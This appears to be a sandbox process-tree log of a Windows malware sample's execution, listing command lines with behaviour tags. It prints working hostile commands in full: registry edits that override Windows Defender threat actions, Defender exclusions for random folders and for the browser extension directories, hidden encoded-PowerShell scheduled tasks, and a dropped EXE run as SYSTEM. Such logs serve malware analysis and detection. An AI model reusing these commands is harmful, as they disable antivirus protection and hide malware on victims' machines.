C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:643⤵
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\FryTaOrDbWUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\FryTaOrDbWUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\amAbAfOnXOhKC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\amAbAfOnXOhKC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\kGPyqjuOAqmAJMHnolR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\kGPyqjuOAqmAJMHnolR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mGmtaSbzEpNU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mGmtaSbzEpNU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\uAxUdthdU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\uAxUdthdU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\LzVMcwpfdAtFXBVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\LzVMcwpfdAtFXBVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\qUDHiGcWmqaEfibr\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\qUDHiGcWmqaEfibr\" /t REG_DWORD /d 0 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FryTaOrDbWUn" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FryTaOrDbWUn" /t REG_DWORD /d 0 /reg:324⤵
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FryTaOrDbWUn" /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\amAbAfOnXOhKC" /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\amAbAfOnXOhKC" /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\kGPyqjuOAqmAJMHnolR" /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\kGPyqjuOAqmAJMHnolR" /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mGmtaSbzEpNU2" /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mGmtaSbzEpNU2" /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\uAxUdthdU" /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\uAxUdthdU" /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\LzVMcwpfdAtFXBVB /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\LzVMcwpfdAtFXBVB /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\qUDHiGcWmqaEfibr /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\qUDHiGcWmqaEfibr /t REG_DWORD /d 0 /reg:643⤵
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "grcqLoECy" /SC once /ST 04:02:54 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="2⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "grcqLoECy"2⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "grcqLoECy"2⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "eMHQCETsWPnVYjMqf" /SC once /ST 08:03:57 /RU "SYSTEM" /TR "\"C:\Windows\Temp\qUDHiGcWmqaEfibr\GlgcQoiPCSwQOyx\YzgYtIm.exe\" fx /mQsite_idYnI 385118 /S" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "eMHQCETsWPnVYjMqf"2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
C:\Users\Admin\AppData\Local\Programs\Opera\assistant\assistant_installer.exe"C:\Users\Admin\AppData\Local\Programs\Opera\assistant\assistant_installer.exe" --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera\assistant" --run-assistant --allusers=01⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Programs\Opera\assistant\assistant_installer.exeC:\Users\Admin\AppData\Local\Programs\Opera\assistant\assistant_installer.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=108.0.5067.20 --initial-client-data=0x284,0x288,0x28c,0x260,0x290,0xcc0040,0xcc004c,0xcc00582⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\assistant\browser_assistant.exe"C:\Users\Admin\AppData\Local\Programs\Opera\assistant\browser_assistant.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --stream3⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Programs\Opera\109.0.5097.38\opera_crashreporter.exeC:\Users\Admin\AppData\Local\Programs\Opera\109.0.5097.38\opera_crashreporter.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.38 --initial-client-data=0x290,0x294,0x298,0x288,0x29c,0x7fffa6427590,0x7fffa64275a0,0x7fffa64275b04⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\assistant\browser_assistant.exeC:\Users\Admin\AppData\Local\Programs\Opera\assistant\browser_assistant.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=108.0.5067.20 --initial-client-data=0x2c8,0x2cc,0x2d0,0x2a4,0x2d4,0x41694c,0x416958,0x4169643⤵
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --stream4⤵
-
C:\Users\Admin\AppData\Local\Programs\Opera\109.0.5097.38\opera_crashreporter.exeC:\Users\Admin\AppData\Local\Programs\Opera\109.0.5097.38\opera_crashreporter.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.38 --initial-client-data=0x290,0x294,0x298,0x28c,0x29c,0x7fffa6427590,0x7fffa64275a0,0x7fffa64275b05⤵
-
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --stream4⤵
-
C:\Users\Admin\AppData\Local\Programs\Opera\109.0.5097.38\opera_crashreporter.exeC:\Users\Admin\AppData\Local\Programs\Opera\109.0.5097.38\opera_crashreporter.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.38 --initial-client-data=0x28c,0x290,0x294,0x288,0x298,0x7fffa6427590,0x7fffa64275a0,0x7fffa64275b05⤵
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵
-
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --show-intro-overlay --start-maximized --lowered-browser1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in Program Files directory
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Programs\Opera\109.0.5097.38\opera_crashreporter.exeC:\Users\Admin\AppData\Local\Programs\Opera\109.0.5097.38\opera_crashreporter.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.38 --initial-client-data=0x288,0x28c,0x290,0x280,0x294,0x7fffa6427590,0x7fffa64275a0,0x7fffa64275b02⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --type=gpu-process --no-appcompat-clear --start-stack-profiler --with-feature:cashback-assistant=on --with-feature:installer-experiment-test=off --with-feature:installer-bypass-launcher=on --ab_tests=GROW-2836-test-3:GROW-2836 --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1988,i,17035948155510668375,9707366842733583947,262144 --variations-seed-version --mojo-platform-channel-handle=1960 /prefetch:22⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --enable-quic --no-appcompat-clear --start-stack-profiler --with-feature:cashback-assistant=on --with-feature:installer-experiment-test=off --with-feature:installer-bypass-launcher=on --ab_tests=GROW-2836-test-3:GROW-2836 --field-trial-handle=1888,i,17035948155510668375,9707366842733583947,262144 --variations-seed-version --mojo-platform-channel-handle=2284 /prefetch:32⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --enable-quic --no-appcompat-clear --with-feature:cashback-assistant=on --with-feature:installer-experiment-test=off --with-feature:installer-bypass-launcher=on --ab_tests=GROW-2836-test-3:GROW-2836 --field-trial-handle=2328,i,17035948155510668375,9707366842733583947,262144 --variations-seed-version --mojo-platform-channel-handle=2520 /prefetch:82⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --enable-quic --no-appcompat-clear --with-feature:cashback-assistant=on --with-feature:installer-experiment-test=off --with-feature:installer-bypass-launcher=on --ab_tests=GROW-2836-test-3:GROW-2836 --field-trial-handle=3108,i,17035948155510668375,9707366842733583947,262144 --variations-seed-version --mojo-platform-channel-handle=3284 /prefetch:82⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --enable-quic --no-appcompat-clear --with-feature:cashback-assistant=on --with-feature:installer-experiment-test=off --with-feature:installer-bypass-launcher=on --ab_tests=GROW-2836-test-3:GROW-2836 --field-trial-handle=3112,i,17035948155510668375,9707366842733583947,262144 --variations-seed-version --mojo-platform-channel-handle=3308 /prefetch:82⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --enable-quic --no-appcompat-clear --with-feature:cashback-assistant=on --with-feature:installer-experiment-test=off --with-feature:installer-bypass-launcher=on --ab_tests=GROW-2836-test-3:GROW-2836 --field-trial-handle=3120,i,17035948155510668375,9707366842733583947,262144 --variations-seed-version --mojo-platform-channel-handle=3548 /prefetch:82⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --enable-quic --no-appcompat-clear --with-feature:cashback-assistant=on --with-feature:installer-experiment-test=off --with-feature:installer-bypass-launcher=on --ab_tests=GROW-2836-test-3:GROW-2836 --field-trial-handle=3128,i,17035948155510668375,9707366842733583947,262144 --variations-seed-version --mojo-platform-channel-handle=3656 /prefetch:82⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --enable-quic --no-appcompat-clear --with-feature:cashback-assistant=on --with-feature:installer-experiment-test=off --with-feature:installer-bypass-launcher=on --ab_tests=GROW-2836-test-3:GROW-2836 --field-trial-handle=3136,i,17035948155510668375,9707366842733583947,262144 --variations-seed-version --mojo-platform-channel-handle=3772 /prefetch:82⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --type=renderer --no-appcompat-clear --start-stack-profiler --with-feature:cashback-assistant=on --with-feature:installer-experiment-test=off --with-feature:installer-bypass-launcher=on --ab_tests=GROW-2836-test-3:GROW-2836 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=3248,i,17035948155510668375,9707366842733583947,262144 --variations-seed-version --mojo-platform-channel-handle=3876 /prefetch:12⤵
- Checks computer location settings
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --type=renderer --no-appcompat-clear --with-feature:cashback-assistant=on --with-feature:installer-experiment-test=off --with-feature:installer-bypass-launcher=on --ab_tests=GROW-2836-test-3:GROW-2836 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=3256,i,17035948155510668375,9707366842733583947,262144 --variations-seed-version --mojo-platform-channel-handle=4000 /prefetch:12⤵
- Checks computer location settings
-
-
